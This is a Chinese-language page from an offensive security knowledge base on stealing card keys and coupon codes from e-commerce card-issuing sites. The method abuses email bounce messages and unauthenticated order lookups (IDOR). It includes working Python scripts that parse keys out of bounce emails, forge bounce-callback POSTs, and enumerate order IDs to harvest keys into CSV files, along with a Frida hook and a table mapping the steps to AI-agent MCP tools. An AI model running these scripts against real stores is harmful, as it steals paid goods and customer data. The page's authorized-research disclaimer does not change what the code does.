Skip to content

退信滥用 + 订单号授权绕过窃取卡密 ​

场景 ​

电商/发卡系统在处理订单通知邮件时,退信(NDR/Bounce)逻辑存在信息泄露和授权绕过,攻击者通过构造不存在邮箱触发退信,利用退信内容或退信处理接口,结合订单号 IDOR 批量提取数据库中的卡密/优惠券码。

输入信号 ​

  • 下单后系统自动发送含卡密/激活码/订单详情的邮件
  • 邮件发送到不存在地址时产生退信(Non-Delivery Receipt)
  • 退信内容包含原始邮件正文(含卡密)
  • 订单详情页/API 仅通过订单号查询,不验证用户身份
  • 订单号可预测(自增 ID、短随机串、时间戳序列)
  • 退信处理端点(webhook/API)对外暴露且无来源验证

漏洞分类 ​

类型 1:退信 NDR 内容泄露 ​

下单(假邮箱) → 系统发邮件(含卡密) → 不存在 → 退信
                                            │
                                    退信包含原始邮件内容
                                            │
                                    攻击者通过退信渠道拿到卡密

关键条件:

  • 邮件服务器将原始邮件内容回传在退信中
  • 系统未过滤退信中的敏感信息
  • 退信能被攻击者接收或读取

类型 2:退信处理接口 IDOR ​

下单(假邮箱) → 退信回到系统 → 退信处理接口解析订单号
                                    │
                            接口未验证调用者身份
                                    │
                            攻击者直接调接口 → 查任意订单卡密

关键条件:

  • 退信处理是独立的 webhook/API 端点
  • 端点未做来源 IP 白名单或签名验证
  • 凭订单号即可查询订单完整信息

类型 3:订单查询接口无鉴权(CWE-639 / CWE-862) ​

攻击者知道订单号 → GET /orders/{id} → 返回完整订单含卡密

判定矩阵 ​

信号直接动作命中样本失败样本
订单号自增或短随机串匿名/B 账号请求 A 订单详情返回 status/amount/card_key/download_url只返回公共状态或 404
邮件链接含 order_id/token改 order_id、保留 token、换账号访问token 不绑定订单或邮箱token 与订单/邮箱强绑定
退信含原始正文用不存在邮箱下单,解析 NDR multipart原始 HTML/文本里有卡密/下载链接只返回 SMTP headers
退信 webhook 暴露构造 DSN JSON/XML/表单回调回调响应带订单对象或触发重发仅接受真实队列事件
订单查询 GraphQL替换 id/orderNo/email 参数非所有者读到订单节点resolver 过滤当前用户
下单即预生成卡密未支付订单触发通知/退信未支付也能看到卡密字段发货时才生成卡密

邮件/订单/卡密三元组 ​

退信链的核心不是“邮箱不存在”,而是邮件、订单和发货账本的绑定关系被拆开了。先把三元组建出来,再决定走退信、订单 IDOR、回调或数据库路线。

维度证据字段操作命中后下一跳
邮件Message-ID, Return-Path, X-Original-To, 收件人解析 NDR multipart 与原始正文邮件模板、重发接口
订单order_id, order_sn, out_trade_no, trade_no匿名/跨账号/退信 token 对比IDOR、回调重放
卡密/权益card_key, coupon, download_url, license未支付/已支付/退款后三态回读数字商品、发货状态机
数据库表前缀、字段名、报错、日志片段反推订单表和卡密表备份/日志、发卡平台
支付status, paid_at, amount, refund_id观察退信是否触发重发/补发支付状态机、异步队列

三元组解析器:

python
# bounce_order_tuple_extractor.py
import csv
import email
import email.policy
import json
import re
from pathlib import Path

PATTERNS = {
    "order_id": re.compile(r"(?:order[_ -]?(?:id|sn|no)|out_trade_no|trade_no)[\"'=:\s]+([A-Za-z0-9_-]{4,64})", re.I),
    "card_key": re.compile(r"(?:card[_ -]?key|卡密|兑换码|license|secret)[\"'=:\s:]+([A-Za-z0-9_-]{6,128})", re.I),
    "payment": re.compile(r"(?:amount|money|paid_at|payment_status|refund_id)[\"'=:\s]+([^<>\s,]{1,80})", re.I),
    "download": re.compile(r"https?://[^\s\"'<>]+(?:download|card|order|license)[^\s\"'<>]*", re.I),
}

def parts(msg):
    if msg.is_multipart():
        for part in msg.walk():
            if part.get_content_maintype() == "text":
                yield part.get_content()
    else:
        yield msg.get_content()

def extract_one(path):
    msg = email.message_from_string(Path(path).read_text(encoding="utf-8", errors="ignore"), policy=email.policy.default)
    text = "\n".join(parts(msg))
    row = {
        "file": Path(path).name,
        "message_id": msg.get("Message-ID", ""),
        "return_path": msg.get("Return-Path", ""),
        "original_to": msg.get("X-Original-To", ""),
    }
    for key, rx in PATTERNS.items():
        row[key] = "|".join(sorted(set(rx.findall(text))))[:500]
    return row

def extract_dir(mail_dir, out_csv="exports/bounce_order_tuple.csv"):
    rows = [extract_one(p) for p in Path(mail_dir).glob("*.eml")]
    Path("exports").mkdir(exist_ok=True)
    if not rows:
        Path(out_csv).write_text("file,message_id,return_path,original_to,order_id,card_key,payment,download\n", encoding="utf-8")
        return []
    with open(out_csv, "w", newline="", encoding="utf-8") as f:
        w = csv.DictWriter(f, fieldnames=rows[0].keys())
        w.writeheader()
        w.writerows(rows)
    Path("exports/bounce_order_tuple.json").write_text(json.dumps(rows, ensure_ascii=False, indent=2), encoding="utf-8")
    return rows

判定节奏:

  1. 用平台指纹确定订单查询和支付插件路径。
  2. 生成一组可控订单:正常邮箱、不可达邮箱、同域别名、大小写邮箱。
  3. 把 NDR 原文、订单详情、支付状态回读对齐成 bounce_order_tuple.csv。
  4. 如果退信里有 order_id 但无卡密,继续打订单详情/重发接口。
  5. 如果退信里出现字段名或 SQL 报错,转数据库备份/日志链补表结构。

攻击链 ​

1. 侦察:注册/下单流程抓包,确认订单号格式(自增/时间戳/UUID)
2. 获取订单号:支付回调 URL、邮件链接、页面跳转 Referer、Burp 被动扫描
3. 测试订单查询接口:不带 Cookie/Token 直接 GET /order/detail?id=1001
   → 若返回订单信息 + 卡密 → 直接 IDOR,跳过后续步骤
4. 若需要"支付后才发卡密":填假邮箱下单但不支付
   → 部分系统下单时已生成卡密入库,只是不展示
   → 退信触发时系统可能把卡密回显
5. 退信利用:
   a. 发送大量邮件到 @nonexist.example.com → 触发退信
   b. 分析退信内容,提取卡密字段
   c. 如果退信是 webhook 回调:模拟 NDR 格式 POST 到系统退信端点
6. 批量枚举:遍历订单号 → 收集卡密/下载链接/flag → 回填命中与失败样本

Frida/JS Hook 辅助 ​

javascript
// 场景:分析 APK/Web 应用的订单查询逻辑
// Hook 关键函数确认鉴权缺失

// 1. Hook OkHttp 请求(Android APK)
Java.perform(function() {
    var OkHttpClient = Java.use("okhttp3.OkHttpClient");
    var Request = Java.use("okhttp3.Request");
    Request.newBuilder.implementation = function() {
        var builder = this.newBuilder.apply(this, arguments);
        console.log("[OkHttp] URL:", builder.build().url().toString());
        console.log("[OkHttp] Headers:", builder.build().headers().toString());
        return builder;
    };
});

// 2. 修改订单号参数测试越权
// Burp Suite Intruder: 对 orderId 参数做枚举
// Payload: 自增 1000-9999

HTTP 探测 ​

python
# 探测订单详情接口是否存在 IDOR
import requests

def test_order_idor(base_url, order_id_range):
    """测试订单查询接口是否需要鉴权"""
    for oid in order_id_range:
        # 不带 Cookie 请求
        r = requests.get(f"{base_url}/api/order/detail", params={"id": oid})
        if r.status_code == 200 and ("卡密" in r.text or "voucher" in r.text.lower()):
            print(f"[!] IDOR found: order {oid} leaks card key")
            print(f"    Response: {r.text[:500]}")

        # 测试退信回调接口
        r2 = requests.post(f"{base_url}/api/bounce/callback", json={
            "order_id": oid,
            "bounce_type": "permanent",
            "email": "nonexist@fake.example.com"
        })
        if r2.status_code == 200:
            print(f"[!] Bounce callback accessible: order {oid}")
            print(f"    Response: {r2.text[:500]}")

test_order_idor("https://target.com", range(1000, 1100))

订单窗口枚举器 ​

python
import csv
import re
import requests

KEY_RX = re.compile(r"(card[_-]?key|voucher|coupon|download|flag\{[^}]+\})", re.I)

def enumerate_orders(base, start, end, cookie=None):
    s = requests.Session()
    if cookie:
        s.headers["Cookie"] = cookie
    rows = []
    for oid in range(start, end + 1):
        for path in (f"/order/{oid}", "/api/order/detail"):
            params = {} if path.startswith("/order/") else {"id": oid}
            r = s.get(base + path, params=params, timeout=8, allow_redirects=False)
            hit = bool(KEY_RX.search(r.text))
            rows.append({
                "order_id": oid,
                "path": path,
                "status": r.status_code,
                "length": len(r.text),
                "hit": hit,
                "sample": r.text[:160].replace("\n", "\\n"),
            })
            if hit:
                print("[hit]", oid, path, r.text[:240])
    with open("order_bounce_idor_matrix.csv", "w", newline="", encoding="utf-8") as f:
        w = csv.DictWriter(f, fieldnames=rows[0].keys())
        w.writeheader()
        w.writerows(rows)

下一跳矩阵 ​

命中结果下一步关联文档
读到卡密/下载链接检查是否绑定订单所有者、是否可重复领取payment-digital-goods.md
读到支付状态/金额尝试替换回调里的 order_id/out_trade_nopayment-callback-async.md
读到邮箱/手机号构造退信、找邮件模板、找通知重发接口本文
读到商品/sku/plan做低价 SKU + 高价权益错配payment-logic.md
读到数据库字段名反推订单表、卡密表、优惠券表../24-database/05-backup-log-leak.md

MCP 工具映射 ​

AI Agent 可调用以下 MCP 工具自动检测上述漏洞:

攻击步骤MCP 工具说明
HTTP 探测订单接口http_probe无 Cookie 请求订单 API,观察响应是否泄露卡密
按信号查知识库kb_router搜索 IDOR/bounce/order leak 相关技术文件
阅读技术细节kb_read_file读取本文档获取完整攻击链
批量测试编写 Python 脚本循环枚举订单号,检测 IDOR

Evidence ​

  • order_probe_matrix.csv: order_id、email/token、登录态、状态码、响应长度、关键字段。
  • bounce_payloads.json: 退信/邮件链接里的订单号、签名、一次性 token、过期时间。
  • role_compare.json: 匿名、订单所有者、其他用户、管理员的响应字段 diff。
  • order_bounce_idor_matrix.csv: 订单窗口枚举输出、命中字段、响应样本。
  • 成功样本: 非订单所有者读到订单、支付状态、下载链接、优惠券或 flag。
  • 失败样本: 只返回公共状态、链接过期、token 绑定邮箱或订单所有者。

GPL-3.0 · 仅供授权环境下的学习与防御性研究使用